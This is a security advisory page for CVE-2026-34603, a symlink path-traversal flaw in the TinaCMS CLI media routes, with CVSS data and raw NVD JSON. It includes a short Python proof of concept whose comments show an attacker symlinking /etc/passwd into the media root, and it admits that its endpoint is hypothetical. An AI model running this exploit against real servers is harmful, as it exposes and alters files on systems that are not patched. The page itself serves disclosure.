Security Vulnerability Report
中文
CVE-2026-34603 CVSS 7.1 HIGH

CVE-2026-34603

Published: 2026-04-01 17:28:41
Last Modified: 2026-04-07 19:13:13

Description

Tina is a headless content management system. Prior to version 2.2.2, @tinacms/cli recently added lexical path-traversal checks to the dev media routes, but the implementation still validates only the path string and does not resolve symlink or junction targets. If a link already exists under the media root, Tina accepts a path like pivot/written-from-media.txt as "inside" the media directory and then performs real filesystem operations through that link target. This allows out-of-root media listing and write access, and the same root cause also affects delete. This issue has been patched in version 2.2.2.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:ssw:tinacms\/cli:*:*:*:*:*:node.js:*:* - VULNERABLE
TinaCMS < 2.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: CVE-2026-34603 TinaCMS Path Traversal via Symlink # Description: PoC demonstrating out-of-bounds file access via symlink. def exploit(target_url, malicious_symlink_path): """ target_url: URL of the TinaCMS dev instance malicious_symlink_path: Path inside media root that points outside (e.g., 'pivot/link_to_etc') """ # Hypothetical endpoint for media operations based on advisory endpoint = f"{target_url}/api/media/list" # Payload requesting the symlinked path payload = { "path": malicious_symlink_path } try: print(f"[*] Attempting to access path: {malicious_symlink_path}") response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Request successful. Potential content leakage:") print(response.text) else: print(f"[-] Server returned status: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage: # 1. Attacker creates a symlink in media root: ln -s /etc/passwd ./media/pivot/exploit.txt # 2. Attacker triggers the read operation target = "http://localhost:4000" path = "pivot/exploit.txt" exploit(target, path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34603", "sourceIdentifier": "[email protected]", "published": "2026-04-01T17:28:41.120", "lastModified": "2026-04-07T19:13:12.523", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tina is a headless content management system. Prior to version 2.2.2, @tinacms/cli recently added lexical path-traversal checks to the dev media routes, but the implementation still validates only the path string and does not resolve symlink or junction targets. If a link already exists under the media root, Tina accepts a path like pivot/written-from-media.txt as \"inside\" the media directory and then performs real filesystem operations through that link target. This allows out-of-root media listing and write access, and the same root cause also affects delete. This issue has been patched in version 2.2.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ssw:tinacms\\/cli:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "2.2.1", "matchCriteriaId": "F5AA927F-8F0A-485A-B09B-46FE8C12D5B3"}]}]}], "references": [{"url": "https://github.com/tinacms/tinacms/commit/f124eabaca10dac9a4d765c9e4135813c4830955", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-g87c-r2jp-293w", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-g87c-r2jp-293w", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}